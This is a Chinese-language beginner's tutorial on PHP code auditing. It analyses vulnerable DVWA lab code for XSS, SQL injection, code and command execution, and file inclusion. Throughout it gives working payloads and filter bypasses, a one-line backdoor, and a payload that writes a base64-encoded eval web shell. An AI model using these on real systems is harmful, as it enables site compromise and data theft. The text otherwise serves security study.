前言
最近在看php代码审计,学习下代码审计,看了不少师傅的博客,写的很好,下面不少是借鉴师傅们的,好记性不如烂笔头,记下,以后可以方便查看。
php代码审计需要比较强的代码能力和足够的耐心。这篇文章是写给我这样的刚刚开始审计的菜鸟,下面如果写的哪里有错误的话,还望提出,不吝赐教。
在这里也立个flag:一周至少审计一种CMS(大小不分),希望自己能够坚持下去,任重而道远。
代码审计--准备
1,先放一张大图,php代码审计的几个方向,也是容易出问题的地方,没事的时候可以多看看。
2,代码审计也就是拿到某网站的源码,进行审计,从而发现漏洞,但是我们审计的时候并不一定要一行一行的去看吧,这样未免也太浪费时间了,所以我们需要工具进行帮助我们。当属 "Seay源代码审计系统2.1" 优先选择(静态分析,关键字查找定位代码不错,但是误报很高)。
我们在做代码审计的时候,个人建议先要把审计的某CMS随便点点,先熟悉一下功能。代码审计前先进行黑盒测试是个不错的选择,知道哪里有问题,然后再去找出问题的代码。
要关注变量和函数,
1.可以控制的变量【一切输入都是有害的 】
2.变量到达有利用价值的函数[危险函数] 【一切进入函数的变量是有害的】
------来源t00ls
代码审计--漏洞
一,漏洞类型
1.sql注入
2.文件操作[上传/写入/读取/删除]
3.文件包含
4.命令执行
5.xss
6.cookie欺骗
7.逻辑漏洞
........等等
我们平常再进行黑盒测试时,上面的每种漏洞都有相对应的挖掘技巧,这里代码审计也是有技巧的。我们进行黑盒测试getshell的时候,往往是上面的sql注入,文件操作(上传),文件包含,命令执行相对容易getshell的。xss的话危害也很大,可以泄露内网的信息,如果的是存储型xss的话,就可以打管理员的cookie,然后进行下一步的攻击。逻辑漏洞是相对麻烦的,危害是很要命的,逻辑漏洞也分为很多种,其中一元买东西是很出彩的,这里通过修改订单进行伪造支付金额。
所以我们要认识清楚漏洞原理,积累cms常出漏洞,积累找这种漏洞的技巧。
二,漏洞分析
下面我们就进行分析一下各种漏洞形成的原因吧
1,首先我们要做好准备工作,审计环境:windows环境(Apache+MySQL+php),可以使用集成的,wampserver,phpstudy其他,我用的是wamp,这里在下载的时候不要用版本太高的,因为版本太高,会出现php语法警告以及不兼容的情况。(下一篇也就是我准备写的一个审计笔记,我平常用的wampserver,由于我的mysql的版本太高,一直安装不成功,后来又重装了一个环境(upupw),会在下一篇详细介绍)(文章里面所提到的环境和工具后面都会分享到百度云盘)。
2,准备好了就直接上手分析吗?其实有更不错的选择,那就是----黑盒+白盒。黑盒很重要!黑盒很重要!黑盒很重要!这是重要的事情。我们在黑盒测试的时候,可以花费点时间,因为用的时间越多,我们对所要分析的CMS的功能更熟悉,代码审计的时候也就容易分析,比如看到搜索框,当然要看下有没有注入或者是能不能弹出来框框,以及留言板有没有xss。交互的数据很重要!
这里有个小技巧,本地测试的时候要把输入点打印出来。
将用户的输入数据进行var_dump,重要的是对最终的sql语句进行var_dump,这和给你省去很多力气!我们只要var_dump($sql)然后再可以去黑盒测试,[比如搜索框,用户登入,文件上传名称等等]。
3,现在可以进行漏洞分析了,下面会写到比较常见的漏洞类型以及审计不同漏洞的技巧。
XSS漏洞
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。 xss分为存储型的xss和反射型xss, 基于DOM的跨站脚本XSS。
【反射型】
反射型xss审计的时候基本的思路都一样,通过寻找可控没有过滤(或者可以绕过)的参数,通过echo等输出函数直接输出。寻找的一般思路就是寻找输出函数,再去根据函数寻找变量。一般的输出函数有这些:print , print_r , echo , printf , sprintf , die , var_dump ,var_export。
测试代码如下:
<?php
echo $_GET['xssf'];
?>
http://127.0.0.1/test/xssf.php?xssf=<script>alert(/orange/);</script>
可能有人会有情绪不高,因为这是自己写的,玩起来没有成就感,
那我们可以用渗透平台 DVWA 呀(后面会分享到百度云盘,有了wampserver环境,直接把文件夹放/wamp/www/目录就可以),当然了,这里我们选择low的难度,因为好分析。我们输入<script>alert("orange")</script>,会弹出框框。如下图所示
相关链接(http://127.0.0.1/DVWA-1.9/vulnerabilities/xss_r/?name=<script>alert("orange")</script>#)
分析如下:首先看下源码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
这里我们可以清楚的看到 if 里面的php函数array_key_exists
,现在不懂没关系,百度一下你就知道。
array_key_exists(key,array)
key | 必需。规定键名。 |
array | 必需。规定数组。 |
array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
输入的值也就是GET得到的值是以数组的形式,然后判断GET得到的name是不是空,如果满足 if 语句,这里就会进行 if 括号里面的,echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 我们可以清楚的看到,这里直接输出传的name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。
这里我们可以再进行分析一下medium中等难度下的代码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可以看到有一点上low的代码是不一样的,那就是进行了一次过滤,
用的str_replace()函数,这个函数的功能是:以其他字符替换字符串中的一些字符(区分大小写)。
这里的作用是替换<script>,也就是把<script>替换成空格,然后再进行输出。
这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的<script>删除,这种防护机制是可以被轻松绕过的。
双写绕过:输入<sc<script>ript>alert(/xss/)</script>,成功弹框。
大小写混淆绕过:输入<ScRipt>alert(/xss/)</script>,成功弹框。这里就不截图了。
High等级也是基于黑名单思想,进行过滤。但是我们可以通过其他标签来进行XSS。
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
代码如上,这里就不一一分析了。
【存储型】
存储型xss审计和反射型xss审计时候思路差不多,不过存储型xss会在数据库“中转”一下,主要审计sql语句update ,insert更新和插入。
进行白盒审计前,我们先进行下黑盒测试
输入name的时候发现,name输不了那么多了,这是我们可以右键审查元素,可以看到限制长度为10了,其实说这句话,只是想提醒一下像我这样的小白,审查元素也是一门"学问"
name出随便输入,message处输入:<script>alert(/orange/)</script>,可以看到会弹出框框
这是看下源码,我们分析下
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
可以看到接收POST过来的参数,trim()函数是移除字符串两侧的空白字符或其他预定义字符。
这里先进行过滤一下,把我们输入字符串两侧的空白字符和其他预定义字符给过滤掉。预定义字符包括:\t,\n,\x0B,\r以及空格。
$message = stripslashes( $message );
然后stripslashes()函数:删除反斜杠
然后message参数再经过mysql_real_escape_string()函数进行转义。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
最后给插入数据库。这个时候我们去数据库看一下,如下图,可以看到xss代码已经插入数据库了,这也就是存储型XSS与反射性XSS的区别。
因为我们在前端看到的都是经由数据库传过来的数据,所以会弹出框框。
这里我最后总结一下,顺便再分析一下。
我输入的值是:<script>alert(/orange/)</script>,首先上面的trim()函数过滤空格和预定义字符,这里对输入的值是没有影响的,所以$messsge还是<script>alert(/orange/)</script>,然后stripslashes()函数删除反斜杠,由于输入的message没有反斜杠,所以无效。$message还是
<script>alert(/orange/)</script>,最后用mysql_real_escape_string()函数进行转义,上面可以清楚的看到这个函数对什么字符有影响,但是没有对$message有影响,所以这时的$_message还是
<script>alert(/orange/)</script>这个时候就把$message传入数据库,也就是上图数据库中的数据。前端读取的数据的时候是从数据库中读取,因此把$message读出来,从而造成了存储型XSS漏洞。
还有medium,high,这里就不做分析了,这里解决XSS漏洞的方法就是用htmlspecialchars函数进行编码。但是要注意的是,如果htmlspecialchars函数使用不当,
攻击者就可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS。说的DOM型XSS,下面就是啦。
【DOM】
这个DVWA里面没有这种,这里还是我们自己动手丰衣足食吧。
基于DOM的跨站脚本XSS:通过访问document.URL 或者document.location执行一些客户端逻辑的javascript代码。不依赖发送给服务器的数据。
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>
浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。
注意:
1. 恶意程序脚本在任何时候不会嵌入到处于自然状态下的HTML页面(这和其他种类的xss不太一样)。
2.这个攻击只有在浏览器没有修改URL字符时起作用。 当url不是直接在地址栏输入,Mozilla.会自动转换在document.URL中字符<和>(转化为%3C 和 %3E),因此在就不会受到上面示例那样的攻击了,在IE6下没有转换<和>,因此他很容易受到攻击。
这里可以看到我的浏览器自动转换了字符<>,所以没有弹出框,这里我们知道原理就好,IE6下没有转换<和>,所以是可以弹框框的。
SQL注入漏洞
sql注入是我们审计比较重视的漏洞之一
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。SQL注入的产生原因:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。
首先说一下普通的注入审计,可以通过$_GET,$_POST等传参追踪数据库操作,也可以通过select , delete , update,insert 数据库操作语句反追踪传参。
现在的一般的CMS都注意到了SQL注入的严重性,所以他们对于注入都进行了一定的过滤,一般他们会用到两种过滤方法。
01.对于数字型的输入,直接使用intval($_GET[id]),强制转换成整数,这种过滤是毫无办法的。
$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
要是没有intval($_GET[id]) 那就尴尬了。
ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin)
02.有些输入是字符型的,不可能转换成数字。这个使用就使用addslashes对输入进行转义。
aaa’aa ==> aaa\’aa
aaa\aa ==> aaa\\aa
SELECT * FROM post WHERE id=’aaa\’ union select pwd from admin limit 0,1#
下面介绍下常见的SQL注入类型,最后再用DVWA进行分析。
漏洞(一)ip没过滤直接进到sql语句
函数讲解:
getenv : 这个函数是获得环境变量的函数,也可以用来获得$_SERVER数组的信息。
getenv('HTTP_X_FORWARDED_FOR') --> $_SERVER[HTTP_X_FORWARDED_FOR]
当然http头还有referer 这也是可以伪装的,要是没有过滤好也会产生会注入问题
漏洞(二)宽字节注入 [对字符]
如果发现 cms是GBK 只有看看 能不能宽字节注入
Sqlmap 的unmagicquotes.py 可以进行宽字测试
解决宽字节注入办法:
mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
到这里就一般高枕无忧了.....
但是 要是画蛇添足得使用iconv就可能出现问题了
有些cms:
会加上下面语句避免乱码
iconv('utf-8', 'gbk', $_GET['word']);
将传入的word有utf-8转成gbk.....
发现錦的utf-8 编码是0xe98ca6,而的gbk 编码是0xe55c
我们输入錦' -->%e5%5c%27【%5c就是\】
在经过转移------>%e5%5c%5c%27【5c%5c就是\\】这样我们就可以注入了
漏洞(三)二次注入
攻击payload首先被Web服务器上的应用存储,随后又在关键操作中被使用,这便被称为二次注入漏洞。
详细请看(http://www.cnblogs.com/ichunqiu/p/5852330.html)
漏洞(四)文件名注入
因为$_FILE,$_SERVER不受gpc影响,那么可能造成注入.......
有些cms会把name的值保存在数据库里,但又没有对name进行过滤。
乌云编号:wooyun-2010-051124
漏洞(五)报错注入
1、通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(selectuser())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
小技巧:
最好可见在本地测试时候讲你的输入点打印出来
我会将用户的输入数据进行var_dump
重要的是对最终的sql语句进行var_dump,这和给你省去很多力气!我们只要var_dump($sql)然后再可以去黑盒测试。
DVWA分析
SQL Injection
选择Low级别,便于审计分析。首先我们黑盒测试一下,我们输入:
1‘or ’1‘=’1这个时候就可以判断出存在字符型注入。
1' or 1=1 order by 2 # ,1' or 1=1 order by 3 #,这个时候就可以判断2个字段。下面的就不进行注入爆库了。
这个时候看下源码分析一下。
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
可以看到,接收到submit传过来的值,id没有进行任何的检查与过滤,存在明显的SQL注入。
选择medium级别
代码如下
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>
可以看到对接收到的参数id 只是用函数mysql_real_escape_string()转义了一下。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
而且前端页面设置了下拉选择表单,希望以此来控制用户的输入。不过没多大用处,我们依然可以通过抓包改参数,提交恶意构造的查询参数。
抓包更改参数id为1 or 1=1 #,查询成功,说明存在数字型注入。(由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号。),所以我们还是可以进行注入。
选择high级别
代码分析
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。这样的就又可以进行注入了。
SQL Injection(Blind),即SQL盲注
与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
代码分析
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种
User ID exists in the database.
User ID is MISSING from the database.
因此这里是SQL盲注漏洞。
输入1’ and 1=1 #,显示存在。输入1’ and 1=2 #,显示不存在。说明存在字符型的SQL盲注。这里仅作判断存在SQL注入,不进一步攻击。
选择medium级别
代码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
可以看到对接收到的参数id 只是用函数mysql_real_escape_string()转义了一下。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
而且前端页面设置了下拉选择表单,希望以此来控制用户的输入。不过没多大用处,我们依然可以通过抓包改参数,提交恶意构造的查询参数。
抓包更改参数输入1’ and 1=1 #,显示存在。输入1’ and 1=2 #,显示不存在。说明存在字符型的SQL盲注,查询成功,说明存在注入。
high级别
代码分析
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,但仍然是可以注入的。
代码执行审计
代码执行审计和sql漏洞审计很相似,sql注入是想sql语句注入在数据库中,代码执行是将可执行代码注入到webservice 。这些容易导致代码执行的函数有以下这些:eval(), asset() , preg_replace(),call_user_func(),call_user_func_array(),array_map()其中preg_replace()需要/e参数。
代码执行注入就是 在php里面有些函数中输入的字符串参数会当做PHP代码执行。
Eval函数在PHP手册里面的意思是:将输入的字符串编程PHP代码
1,先写个简单的代码测试一下(很俗套的代码)
<?php
if(isset($_GET['orange']))
{
$orange=$_GET['orange'];
eval("\$orange=$orange");
}
//PHP 代码审计代码执行
?>
直接接收orange参数,payload:?orange=phpinfo();
下面图可以看到成功执行。
2,再看一个,测试代码如下
<?php
//PHP 代码审计代码执行注入
if(isset($_GET['orange']))
{
echo $regexp = $_GET['orange'];
$String = '<php>phpinfo()</php>';
var_dump(preg_replace("/<php>(.*?)$regexp","\\1",$String));
}
?>
可以看到代码有正则preg_replace(),所以现在需要/e参数,才能进行代码执行。
正则表达式过滤后是phpinfo(),正则表达式的意思是将String中含reg的字符串的样式去除。所以现在我们可以构造payload:?orange=<\/php>/e ,现在解释一下为什么,preg_replace(),/<php>(.*?)$regexp,接收的参数构造成正则表达式/<php>(.*?)<\/php>/e,将$String也就是<php>phpinfo()</php>过滤成phpinfo(),这样就可以成功执行了。
3,参数注入,测试代码如下
<?php
//PHP 代码审计代码执行注入
if(isset($_GET['orange']))
{
echo $regexp = $_GET['orange'];
//$String = '<php>phpinfo()</php>';
//var_dump(preg_replace("/<php>(.*?)$regexp","\\1",$String));
preg_replace("/orange/e",$regexp,"i am orange");
}
?>
分析和上面差不多。
直接构造payload就好:?orange=phpinfo();
4,动态函数执行----一个超级隐蔽的后门
测试代码
<?php $_GET[a]($_GET[b]);?>
仅用GET函数就构成了木马;利用方法payload:
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};
运行上述payload,会在同目录下生成c.php文件,里面的内容是<?php @eval($_POST[c]); ?>1,生成一句话木马。
命令执行审计
代码执行说的是可执行的php脚本代码,命令执行就是可以执行系统命令(cmd)或者是应用指令(bash),这个漏洞也是因为传参过滤不严格导致的,
一般我们说的php可执行命令的函数有这些:system();exec();shell_exec();passthru();pcntl_exec();popen();proc_open();
反引号也是可以执行的,因为他调用了shell_exec这个函数。
1,测试代码:
<?php
$orange=$_GET['orange'];
system($orange);
?>
直接GET传参,然后system()----执行shell命令也就是向dos发送一条指令
payload:?orange=net user 查看一下电脑的用户。
2,再演示一个popen()函数
测试代码:
<?php
popen('net user>>C:/Users/ww/Desktop/1234.txt','r');
?>
只要php文件运行,就会在上述路径生成1234.txt文件,里面的内容是net user的结果。
3,反引号命令执行
测试代码:
<?php
echo `net user`;
?>
直接echo ,直接就可以执行命令
DVWA分析
选择low级别,先进行一下黑盒测试。
输入8.8.8.8&&net user,可以看到成功执行两条命令
下面分析一下,相关函数介绍
stristr(string,search,before_search)
stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为“false” ,如果设置为 “true”,函数将返回 search 参数第一次出现之前的字符串部分。
php_uname(mode)
这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。
命令连接符
command1 && command2 先执行command1后执行command2
command1 | command2 只执行command2
command1 & command2 先执行command2后执行command1
以上三种连接符在windows和linux环境下都支持
如果程序没有进行过滤,那么我们就可以通过连接符执行多条系统命令。
可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。
看下代码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
上面代码可以清楚的看到,对输入的命令没有过滤,直接进行参数的传递。可以通过用“&&”和“;”来执行额外的命令 ping 8.8.8.8&&net user
选择medium级别,先进行黑盒测试,
发现输入:8.8.8.8&&net user,不可以用,这个时候可以去掉一个,输入:8.8.8.8&net user,是可以”成功“的。
但是这里需要注意的是”&&”与” &”的区别:
Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2
这个时候我们看下代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” ,”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。
这个时候就可以开始利用了
***因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。所以可以输入:8.8.8.8&net user
***由于使用的是str_replace把”&&”,”;”替换为空字符,因此可以采用以下方式绕过: 8.8.8.8;&net user
这是因为”8.8.8.8&;&net user”中的” ;”会被替换为空字符,这样一来就变成了”8.8.8.8&;&net user” ,会成功执行。
选择high级别,先进行黑盒测试,结果发现,好多都被过滤掉了,没关系,看下代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。
漏洞利用
Command 1 | Command 2
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。
黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|” 就有用了。
输入:8.8.8.8|net user
下图成功执行。
文件包含审计
PHP的文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的,只要能正常执行即可。
文件包含有这么两种:本地包含(LFI)和远程包含(RFI)。,顾名思义就能理解它们的区别在哪。
审计的时候函数都是一样的,这个四个包含函数: include() ; include_once() ; require();require_once().include 和 require 语句是相同的,除了错误处理方面:require 会生成致命错误(E_COMPILE_ERROR)并停止脚本,include 只生成警告(E_WARNING),并且脚本会继续。
先说一下本地包含,本地包含就指的是只能包含本机文件的漏洞,一般要配合上传,或者是已控的数据库来进行使用。
先写个简单的代码测试一下。
在www目录下新建两个php文件,baohan1.php,baohan2.php
baohan2.php代码
<?php
phpinfo();
?>
baohan1.php
<?php
include("baohan2.php");
?>
打开baohan1.php,可以看到成功执行baohan2.php的代码,成功把banhan2.php给包含了
这个时候稍微修改下代码。把baohan1.php的:include("baohan2.php");改成include("baohan2.txt");
把baohan2.php改成baohan2.txt。再次访问baihan1.php,可以看到成功包含,
接下来将baohan2.txt文件的扩展名分别改为jpg、rar、doc、xxx进行测试,发现都可以正确显示phpinfo信息。由此可知,只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。
再来看一下远程文件包含
当服务器的php配置中选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件。如果对文件来源没有检查的话,就容易导致任意远程代码执行。
allow_url_include在默认情况下是关闭的,如果想要实验测试的话,可以去打开,但是真实环境中建议关闭。
DVWA分析
先选择low级别,先进行黑盒测试一下,进行包含,看到file1,file2,file3,试下file4,因为file.php存在,结果包含到了,并且提示you are rigjt。
这个时候可以进一步操作,可以使用../让目录回到上级目录,以此来进行目标目录(通过多个../可以让目录回到根目录中然后再进入目标目录),
试一下吧,?page=../../php.ini ,除了这么多还有其他的操作等待你去挖掘。
现在分析一下代码<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
可以看到直接接收page参数,没有进行任何过滤操作,所以造成文件包含漏洞。
下面选择medium,先看下代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
增加了str_replace()函数,把传入的url里面的http,https,../,..\ 替换成空格,但是使用str_replace函数是不安全的,因为可以使用双写绕过替换规则
比如:http和https可以用hthttp://tp:给绕过,因为只是过滤了../和..\,所以可以用绝对路径进行绕过:?page=./..././..././../php.ini
选择high级别,看下代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
使用了fnmatch函数:fnmatch() 函数根据指定的模式来匹配文件名或字符串。
